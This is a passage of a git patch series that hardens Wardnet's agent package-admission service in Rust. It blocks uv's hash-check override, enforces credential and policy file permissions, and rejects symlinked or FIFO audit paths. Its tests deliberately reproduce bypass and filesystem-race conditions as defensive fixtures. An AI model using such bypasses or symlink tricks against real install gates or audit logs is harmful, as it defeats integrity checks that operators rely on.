assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "uv's hidden --no-require-hashes overrides --require-hashes and must fail admission closed: {:?}", + decision.reason_codes + ); +} From 9aafde83990f00e70e3c7a442efc19441eadaa42 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 12:46:02 +0900 Subject: [PATCH 256/702] fix(security): reject uv hash-mode override --- .../src/pypi_hash_mode.rs | 20 ++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_hash_mode.rs b/crates/agent-artifact-admission/src/pypi_hash_mode.rs index 25f8202d..4540a573 100644 --- a/crates/agent-artifact-admission/src/pypi_hash_mode.rs +++ b/crates/agent-artifact-admission/src/pypi_hash_mode.rs @@ -1,17 +1,27 @@ use crate::InstallIntent; -/// Return whether a supported pip install request explicitly disables the -/// hash-checking mode that Wardnet requires for reviewed PyPI artifacts. +/// Return whether a supported PyPI install request explicitly disables the +/// hash-checking mode that Wardnet requires for reviewed artifacts. pub(crate) fn requests_disabled_hash_requirement(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; let arguments = &intent.argv[1..]; - matches!(executable, "pip" | "pip3") - && arguments + let is_supported_install = match executable { + "pip" | "pip3" => arguments .first() - .is_some_and(|argument| argument == "install") + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + + is_supported_install && arguments .iter() .any(|argument| argument == "--no-require-hashes") From d9126dba9fad4332eec16cb441d3fb7a569452b4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 12:47:53 +0900 Subject: [PATCH 257/702] test(security): expose credential permission gap --- .../tests/cli_contract.rs | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/crates/agent-artifact-admission/tests/cli_contract.rs b/crates/agent-artifact-admission/tests/cli_contract.rs index 717b7755..1c8b28a6 100644 --- a/crates/agent-artifact-admission/tests/cli_contract.rs +++ b/crates/agent-artifact-admission/tests/cli_contract.rs @@ -1,6 +1,9 @@ use std::fs; use std::time::{SystemTime, UNIX_EPOCH}; +#[cfg(unix)] +use std::os::unix::fs::PermissionsExt; + use wardnet_agent_artifact_admission::{ AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, CredentialFile, load_admin_token, load_config, parse_cli_args, validate_service_config, @@ -182,6 +185,9 @@ fn loaders_are_bounded_strict_and_do_not_accept_short_credentials() { serde_json::to_vec(&credential).expect("credential must serialize"), ) .expect("credential fixture must write"); + #[cfg(unix)] + fs::set_permissions(&credential_path, fs::Permissions::from_mode(0o600)) + .expect("credential fixture must be owner-only"); assert_eq!( load_admin_token(&credential_path).expect("valid credential must load"), credential.admin_token @@ -204,3 +210,35 @@ fn loaders_are_bounded_strict_and_do_not_accept_short_credentials() { let _ = fs::remove_file(config_path); let _ = fs::remove_file(credential_path); } + +#[cfg(unix)] +#[test] +fn credential_loader_rejects_group_or_other_permissions() { + let credential_path = temp_path("credential-permissions"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + let encoded = serde_json::to_vec(&credential).expect("credential must serialize"); + fs::write(&credential_path, &encoded).expect("credential fixture must write"); + + for secure_mode in [0o600, 0o400] { + fs::set_permissions(&credential_path, fs::Permissions::from_mode(secure_mode)) + .expect("secure credential mode must apply"); + assert_eq!( + load_admin_token(&credential_path).expect("owner-only credential must load"), + credential.admin_token, + "mode {secure_mode:o}" + ); + } + + for unsafe_mode in [0o640, 0o604, 0o620, 0o602, 0o610, 0o601] { + fs::set_permissions(&credential_path, fs::Permissions::from_mode(unsafe_mode)) + .expect("unsafe credential mode must apply"); + assert!( + load_admin_token(&credential_path).is_err(), + "credential mode {unsafe_mode:o} exposed authority outside the owner boundary" + ); + } + + let _ = fs::remove_file(credential_path); +} From 2efe188cd94b77d039c749368cfeee977dbb51e4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 13:09:01 +0900 Subject: [PATCH 258/702] fix(security): require owner-only admission credentials --- crates/agent-artifact-admission/src/config.rs | 32 ++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 47021328..e0b38fb4 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -129,7 +129,7 @@ pub fn load_config(path: &Path) -> Result { /// Load the bounded credentials document and return its validated bearer token. pub fn load_admin_token(path: &Path) -> Result { - let bytes = read_bounded(path, MAX_CREDENTIAL_FILE_BYTES)?; + let bytes = read_credential_bounded(path, MAX_CREDENTIAL_FILE_BYTES)?; let credential: CredentialFile = serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; validate_admin_token(&credential.admin_token)?; @@ -244,8 +244,38 @@ fn valid_executable(value: &str) -> bool { .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) } +fn read_credential_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { + let file = File::open(path).map_err(|_| ConfigError::Io)?; + validate_credential_file_permissions(&file)?; + read_open_file_bounded(file, maximum_bytes) +} + +#[cfg(unix)] +fn validate_credential_file_permissions(file: &File) -> Result<(), ConfigError> { + use std::os::unix::fs::PermissionsExt; + + let mode = file + .metadata() + .map_err(|_| ConfigError::Io)? + .permissions() + .mode(); + if mode & 0o077 != 0 { + return Err(ConfigError::InvalidCredential); + } + Ok(()) +} + +#[cfg(not(unix))] +fn validate_credential_file_permissions(_file: &File) -> Result<(), ConfigError> { + Err(ConfigError::InvalidCredential) +} + fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { let file = File::open(path).map_err(|_| ConfigError::Io)?; + read_open_file_bounded(file, maximum_bytes) +} + +fn read_open_file_bounded(file: File, maximum_bytes: u64) -> Result, ConfigError> { let mut bytes = Vec::new(); file.take(maximum_bytes + 1) .read_to_end(&mut bytes) From b18d94ffeaac24208f903be0cf9c891a1e20ba57 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:03:50 +0900 Subject: [PATCH 259/702] test(security): reject writable admission policy files --- .../tests/config_file_permissions_contract.rs | 63 +++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/config_file_permissions_contract.rs diff --git a/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs new file mode 100644 index 00000000..f075a2bb --- /dev/null +++ b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs @@ -0,0 +1,63 @@ +#![cfg(unix)] + +use std::fs; +use std::os::unix::fs::PermissionsExt; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, load_config, +}; + +fn temp_path() -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-admission-policy-permissions-{}-{nonce}.json", + std::process::id() + )) +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: AdmissionPolicy { + policy_id: "deny-all".to_string(), + policy_revision: "config-permission-red".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + }, + } +} + +#[test] +fn configuration_loader_rejects_group_or_other_write_authority() { + let path = temp_path(); + let encoded = serde_json::to_vec(&valid_config()).expect("config must serialize"); + fs::write(&path, encoded).expect("config fixture must write"); + + for safe_mode in [0o600, 0o640, 0o644, 0o400] { + fs::set_permissions(&path, fs::Permissions::from_mode(safe_mode)) + .expect("safe configuration mode must apply"); + assert!( + load_config(&path).is_ok(), + "read-only group/other visibility must not be confused with policy mutation authority: {safe_mode:o}" + ); + } + + for unsafe_mode in [0o660, 0o606, 0o664, 0o646, 0o666] { + fs::set_permissions(&path, fs::Permissions::from_mode(unsafe_mode)) + .expect("unsafe configuration mode must apply"); + assert!( + load_config(&path).is_err(), + "configuration mode {unsafe_mode:o} grants group/other policy mutation authority" + ); + } + + let _ = fs::remove_file(path); +} From 606acc0c5cd74f938b2c6182e58c9bcaa5ee9532 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:12:53 +0900 Subject: [PATCH 260/702] test(security): format policy permission RED --- .../tests/config_file_permissions_contract.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs index f075a2bb..b5efaf08 100644 --- a/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs +++ b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs @@ -4,9 +4,7 @@ use std::fs; use std::os::unix::fs::PermissionsExt; use std::time::{SystemTime, UNIX_EPOCH}; -use wardnet_agent_artifact_admission::{ - AdmissionPolicy, AdmissionServiceConfig, load_config, -}; +use wardnet_agent_artifact_admission::{AdmissionPolicy, AdmissionServiceConfig, load_config}; fn temp_path() -> std::path::PathBuf { let nonce = SystemTime::now() From 18d30ae4f16d9a573ffcdf37fca7bdc6769928c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:29:38 +0900 Subject: [PATCH 261/702] fix(security): reject writable admission policy files --- crates/agent-artifact-admission/src/config.rs | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index e0b38fb4..070c29e6 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -272,9 +272,30 @@ fn validate_credential_file_permissions(_file: &File) -> Result<(), ConfigError> fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { let file = File::open(path).map_err(|_| ConfigError::Io)?; + validate_config_file_permissions(&file)?; read_open_file_bounded(file, maximum_bytes) } +#[cfg(unix)] +fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { + use std::os::unix::fs::PermissionsExt; + + let mode = file + .metadata() + .map_err(|_| ConfigError::Io)? + .permissions() + .mode(); + if mode & 0o022 != 0 { + return Err(ConfigError::InvalidConfiguration); + } + Ok(()) +} + +#[cfg(not(unix))] +fn validate_config_file_permissions(_file: &File) -> Result<(), ConfigError> { + Ok(()) +} + fn read_open_file_bounded(file: File, maximum_bytes: u64) -> Result, ConfigError> { let mut bytes = Vec::new(); file.take(maximum_bytes + 1) From 0113770e0448b2cf25bd9251f295740c17a43696 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:31:35 +0900 Subject: [PATCH 262/702] fix(security): fail closed on unsupported config ACLs --- crates/agent-artifact-admission/src/config.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 070c29e6..e884e59d 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -293,7 +293,7 @@ fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { #[cfg(not(unix))] fn validate_config_file_permissions(_file: &File) -> Result<(), ConfigError> { - Ok(()) + Err(ConfigError::InvalidConfiguration) } fn read_open_file_bounded(file: File, maximum_bytes: u64) -> Result, ConfigError> { From 07e7e259b77cd3d8e8e22af0f8e3cff79c1ef38c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:42:04 +0900 Subject: [PATCH 263/702] test(security): pin unsafe config permission error --- .../tests/config_file_permissions_contract.rs | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs index b5efaf08..86ab268f 100644 --- a/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs +++ b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs @@ -4,7 +4,9 @@ use std::fs; use std::os::unix::fs::PermissionsExt; use std::time::{SystemTime, UNIX_EPOCH}; -use wardnet_agent_artifact_admission::{AdmissionPolicy, AdmissionServiceConfig, load_config}; +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ConfigError, load_config, +}; fn temp_path() -> std::path::PathBuf { let nonce = SystemTime::now() @@ -48,11 +50,15 @@ fn configuration_loader_rejects_group_or_other_write_authority() { ); } + // This contract targets policy-integrity failure specifically. A generic I/O or + // JSON error would hide a regression in the permission boundary instead of + // proving that unintended write authority is what caused the rejection. for unsafe_mode in [0o660, 0o606, 0o664, 0o646, 0o666] { fs::set_permissions(&path, fs::Permissions::from_mode(unsafe_mode)) .expect("unsafe configuration mode must apply"); - assert!( - load_config(&path).is_err(), + assert_eq!( + load_config(&path), + Err(ConfigError::InvalidConfiguration), "configuration mode {unsafe_mode:o} grants group/other policy mutation authority" ); } From 8f4a7a523ff9c21f64dbf0d15674ed651e1702b3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:42:40 +0900 Subject: [PATCH 264/702] docs(security): ground admission config integrity boundary --- ...ifact-admission-configuration-integrity.md | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 docs/doctoring/agent-artifact-admission-configuration-integrity.md diff --git a/docs/doctoring/agent-artifact-admission-configuration-integrity.md b/docs/doctoring/agent-artifact-admission-configuration-integrity.md new file mode 100644 index 00000000..e32e1343 --- /dev/null +++ b/docs/doctoring/agent-artifact-admission-configuration-integrity.md @@ -0,0 +1,33 @@ +# Agent Artifact Admission configuration-file integrity + +## Decision under review + +Wardnet treats the Agent Artifact Admission configuration as policy authority, not as a secret. The file contains the reviewed policy revision, executable allowlist, workspace-manifest digests, and exact artifact coordinates. Read-only group or other visibility therefore does not change admission authority, but group or other write authority does: an unintended writer could replace an approved digest, artifact coordinate, or executable and thereby alter the result of a later admission decision. + +On Unix, the loader opens the configured path once and inspects permissions through metadata obtained from that already-open `File` before reading and parsing its bytes. It rejects any group/other write bit (`mode & 0o022 != 0`) as `ConfigError::InvalidConfiguration`. This intentionally permits read-only modes such as `0644` while rejecting policy-mutation authority such as `0664` or `0666`. The separate credential loader remains stricter because credential confidentiality, unlike policy-file confidentiality, is itself a security requirement. + +The same-open-handle sequence is deliberate. A path-level permission check followed by a separate open would create a check/use interval in which the pathname could resolve to a different object. Dean and Hu (2004) formalize this class of filesystem TOCTOU race and show why a security decision separated from acquisition is unsafe under an adversarial pathname. Borisov et al. (2005) subsequently demonstrate that probabilistic attempts to make such path races difficult remain exploitable, reinforcing the preference for descriptor-bound checks rather than repeated pathname checks. Wardnet does not claim that descriptor metadata alone solves every filesystem replacement problem; it closes the narrower defect in this slice: deciding whether the bytes already opened as policy are writable by unintended Unix principals before those same opened bytes are materialized. + +On non-Unix targets, this version fails closed because the product has not defined or tested a native ACL-equivalence contract for policy mutation authority. Silently accepting the configuration would assert a security property the implementation cannot currently verify. Adding Windows ACL or another platform-native authority model is a separate compatibility increment and must retain the same fail-closed invariant. + +## Executable acceptance contract + +`config_file_permissions_contract.rs` creates one valid configuration, applies safe and unsafe Unix modes to the same fixture, and calls the public loader. Safe modes `0600`, `0640`, `0644`, and `0400` must load. Unsafe modes `0660`, `0606`, `0664`, `0646`, and `0666` must return exactly `ConfigError::InvalidConfiguration`; accepting any of them, or failing for a generic I/O/JSON reason, does not satisfy the security contract. + +This maps directly to CWE-732: a security-critical configuration resource must not be modifiable by unintended actors. NIST SP 800-53 Rev. 5 CM-5 requires defined and enforced logical/physical restrictions on system changes; AC-6 provides the least-privilege principle for granting only the authorizations required for the task. Here, the smallest enforceable local boundary is write authority over the reviewed policy file. + +## Scope and residual risk + +This decision does not add runtime policy mutation, directory-ownership policy, secret distribution, sandbox execution, reusable egress control, LLM orchestration, or static package analysis. Those remain outside this bounded context. It also does not claim immutable storage, signature verification, or a complete cross-platform ACL model. The next independent audit-path hardening work is tracked separately and must not be folded into this configuration-loader slice. + +The USENIX papers are linked to their publisher copies rather than vendored into this repository. Their published reproduction terms are narrower than an unrestricted software-repository redistribution grant, so the repository preserves citation and traceability without copying the PDFs. + +## References + +Borisov, N., Johnson, R., Sastry, N., & Wagner, D. (2005). Fixing races for fun and profit: How to abuse atime. *14th USENIX Security Symposium*. https://www.usenix.org/conference/14th-usenix-security-symposium/fixing-races-fun-and-profit-how-abuse-atime + +Dean, D., & Hu, A. J. (2004). Fixing races for fun and profit: How to use access(2). *13th USENIX Security Symposium*. https://www.usenix.org/conference/13th-usenix-security-symposium/fixing-races-fun-and-profit-how-use-access2 + +MITRE. (2026). *CWE-732: Incorrect permission assignment for critical resource (CWE 4.20)*. https://cwe.mitre.org/data/definitions/732.html + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations* (NIST Special Publication 800-53 Rev. 5). https://doi.org/10.6028/NIST.SP.800-53r5 From 509e6331f33533b1618bed7463dd2d4c83e7d84a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 14:43:15 +0900 Subject: [PATCH 265/702] docs(security): explain admission config authority checks --- crates/agent-artifact-admission/src/config.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index e884e59d..59eeb748 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -270,12 +270,20 @@ fn validate_credential_file_permissions(_file: &File) -> Result<(), ConfigError> Err(ConfigError::InvalidCredential) } +/// Open the reviewed policy configuration once, validate authority on that same +/// descriptor, then materialize bounded bytes. Splitting the permission check +/// into a pathname metadata call followed by a second open would reintroduce a +/// filesystem TOCTOU interval. See +/// `docs/doctoring/agent-artifact-admission-configuration-integrity.md`. fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { let file = File::open(path).map_err(|_| ConfigError::Io)?; validate_config_file_permissions(&file)?; read_open_file_bounded(file, maximum_bytes) } +/// Reject Unix policy files writable by group or other principals while +/// preserving read-only visibility. Policy integrity, not confidentiality, is +/// the invariant at this boundary; credentials use a separate stricter check. #[cfg(unix)] fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { use std::os::unix::fs::PermissionsExt; @@ -291,6 +299,10 @@ fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { Ok(()) } +/// Fail closed where Wardnet has no tested native ACL-equivalence contract for +/// configuration mutation authority. Adding a platform-specific ACL model is a +/// separate compatibility change; silently accepting unverifiable authority is +/// not an equivalent security boundary. #[cfg(not(unix))] fn validate_config_file_permissions(_file: &File) -> Result<(), ConfigError> { Err(ConfigError::InvalidConfiguration) From 8b65dcd8febff005a18fa105ce779e4e22ddda74 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 15:04:13 +0900 Subject: [PATCH 266/702] test(security): reproduce unsafe audit path handling --- .../tests/audit_path_safety_contract.rs | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/audit_path_safety_contract.rs diff --git a/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs b/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs new file mode 100644 index 00000000..96267f30 --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs @@ -0,0 +1,85 @@ +#![cfg(unix)] + +use std::fs; +use std::os::unix::fs::{PermissionsExt, symlink}; +use std::process::Command; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditError, AuditRecord, AuditSink, FileAuditSink, InstallIntent, + admission_decision, build_audit_record, +}; + +const UMASK_HELPER_PATH: &str = "WARDNET_AUDIT_UMASK_HELPER_PATH"; + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}", + std::process::id() + )) +} + +fn blocked_record() -> AuditRecord { + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + build_audit_record(&intent, &decision).expect("audit record must build") +} + +#[test] +fn file_sink_rejects_final_symlink_without_modifying_target() { + let target = temp_path("audit-symlink-target"); + let audit_path = temp_path("audit-symlink-path"); + fs::write(&target, b"sentinel\n").expect("sentinel target must be created"); + symlink(&target, &audit_path).expect("audit symlink must be created"); + + let result = FileAuditSink::new(audit_path.clone()).append(&blocked_record()); + + assert_eq!(result, Err(AuditError::StorageUnavailable)); + assert_eq!( + fs::read(&target).expect("sentinel target must remain readable"), + b"sentinel\n" + ); + + let _ = fs::remove_file(audit_path); + let _ = fs::remove_file(target); +} + +#[test] +fn newly_created_audit_file_is_private_even_with_permissive_umask() { + let audit_path = temp_path("audit-private-mode"); + let executable = std::env::current_exe().expect("current test executable must resolve"); + let status = Command::new("sh") + .arg("-c") + .arg("umask 000; exec \"$0\" --exact audit_creation_under_permissive_umask_helper --nocapture") + .arg(executable) + .env(UMASK_HELPER_PATH, &audit_path) + .status() + .expect("isolated umask helper must start"); + assert!(status.success(), "isolated umask helper must succeed"); + + let mode = fs::metadata(&audit_path) + .expect("audit file must exist") + .permissions() + .mode(); + assert_eq!( + mode & 0o077, + 0, + "audit evidence must not grant group/other permissions" + ); + + let _ = fs::remove_file(audit_path); +} + +#[test] +fn audit_creation_under_permissive_umask_helper() { + let Ok(path) = std::env::var(UMASK_HELPER_PATH) else { + return; + }; + FileAuditSink::new(path) + .append(&blocked_record()) + .expect("audit append under isolated umask must succeed"); +} From 68bebe7e15d0cdb436ad66eab47b61c053fee980 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 15:18:21 +0900 Subject: [PATCH 267/702] fix(security): harden audit file opening --- crates/agent-artifact-admission/src/audit.rs | 32 +++++++++++++++++--- 1 file changed, 28 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index efafde91..d3c18a33 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -1,6 +1,8 @@ use std::fmt; use std::fs::{File, OpenOptions}; use std::io::{self, Write}; +#[cfg(target_os = "linux")] +use std::os::unix::fs::OpenOptionsExt; use std::path::{Path, PathBuf}; use std::sync::Mutex; use std::time::{SystemTime, UNIX_EPOCH}; @@ -16,6 +18,8 @@ use crate::{ }; const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; +#[cfg(target_os = "linux")] +const LINUX_O_NOFOLLOW: i32 = 0o400000; /// Minimized content-addressed artifact identity persisted in audit evidence. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] @@ -147,10 +151,30 @@ impl FileAuditSink { } fn open_append_only(&self) -> io::Result { - OpenOptions::new() - .create(true) - .append(true) - .open(Path::new(&self.path)) + #[cfg(target_os = "linux")] + { + let file = OpenOptions::new() + .create(true) + .append(true) + .mode(0o600) + .custom_flags(LINUX_O_NOFOLLOW) + .open(Path::new(&self.path))?; + if !file.metadata()?.is_file() { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "audit storage must be a regular file", + )); + } + Ok(file) + } + + #[cfg(not(target_os = "linux"))] + { + Err(io::Error::new( + io::ErrorKind::Unsupported, + "secure audit-file opening is not implemented on this platform", + )) + } } } From f527a4753037357ce7d67c78e75dda59acbe5ce5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 15:18:49 +0900 Subject: [PATCH 268/702] test(security): bind audit path contract to Linux --- .../tests/audit_path_safety_contract.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs b/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs index 96267f30..b1b557ab 100644 --- a/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs @@ -1,4 +1,4 @@ -#![cfg(unix)] +#![cfg(target_os = "linux")] use std::fs; use std::os::unix::fs::{PermissionsExt, symlink}; From 21b6416299375e9e12467ba9758b1f3ed9ba10d0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 16:08:13 +0900 Subject: [PATCH 269/702] test(security): reproduce blocking audit FIFO --- .../audit_special_file_safety_contract.rs | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs diff --git a/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs b/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs new file mode 100644 index 00000000..377e9b51 --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs @@ -0,0 +1,88 @@ +#![cfg(target_os = "linux")] + +use std::fs; +use std::process::{Command, Stdio}; +use std::thread; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditError, AuditRecord, AuditSink, FileAuditSink, InstallIntent, + admission_decision, build_audit_record, +}; + +const FIFO_HELPER_PATH: &str = "WARDNET_AUDIT_FIFO_HELPER_PATH"; +const HELPER_DEADLINE: Duration = Duration::from_secs(3); + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}", + std::process::id() + )) +} + +fn blocked_record() -> AuditRecord { + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + build_audit_record(&intent, &decision).expect("audit record must build") +} + +#[test] +fn file_sink_rejects_fifo_without_blocking_on_open() { + let fifo_path = temp_path("audit-fifo"); + let mkfifo = Command::new("mkfifo") + .arg(&fifo_path) + .status() + .expect("mkfifo must be available on the Linux test runner"); + assert!(mkfifo.success(), "FIFO fixture must be created"); + + let executable = std::env::current_exe().expect("current test executable must resolve"); + let mut child = Command::new(executable) + .arg("--exact") + .arg("audit_fifo_open_helper") + .arg("--nocapture") + .env(FIFO_HELPER_PATH, &fifo_path) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .expect("isolated FIFO helper must start"); + + let deadline = Instant::now() + HELPER_DEADLINE; + let status = loop { + match child.try_wait().expect("FIFO helper status must be readable") { + Some(status) => break Some(status), + None if Instant::now() < deadline => thread::sleep(Duration::from_millis(25)), + None => break None, + } + }; + + let _ = fs::remove_file(&fifo_path); + + match status { + Some(status) => assert!( + status.success(), + "audit FIFO helper must reject the special file through the stable storage error" + ), + None => { + let _ = child.kill(); + let _ = child.wait(); + panic!( + "audit append blocked while opening a FIFO; special audit files must fail closed promptly" + ); + } + } +} + +#[test] +fn audit_fifo_open_helper() { + let Ok(path) = std::env::var(FIFO_HELPER_PATH) else { + return; + }; + + let result = FileAuditSink::new(path).append(&blocked_record()); + assert_eq!(result, Err(AuditError::StorageUnavailable)); +} From 187aabd1ada11b5a5c9bbf3c07df143d645b492d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 16:09:53 +0900 Subject: [PATCH 270/702] test(security): format audit FIFO regression --- .../tests/audit_special_file_safety_contract.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs b/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs index 377e9b51..0eaaa152 100644 --- a/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs @@ -53,7 +53,10 @@ fn file_sink_rejects_fifo_without_blocking_on_open() { let deadline = Instant::now() + HELPER_DEADLINE; let status = loop { - match child.try_wait().expect("FIFO helper status must be readable") { + match child + .try_wait() + .expect("FIFO helper status must be readable") + { Some(status) => break Some(status), None if Instant::now() < deadline => thread::sleep(Duration::from_millis(25)), None => break None, From 5e2f6477832f0a94fbbe956ca5e04b5a081a1197 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 16:13:54 +0900 Subject: [PATCH 271/702] fix(security): make audit special-file open nonblocking --- crates/agent-artifact-admission/src/audit.rs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index d3c18a33..26dcb6a0 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -20,6 +20,8 @@ use crate::{ const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; #[cfg(target_os = "linux")] const LINUX_O_NOFOLLOW: i32 = 0o400000; +#[cfg(target_os = "linux")] +const LINUX_O_NONBLOCK: i32 = 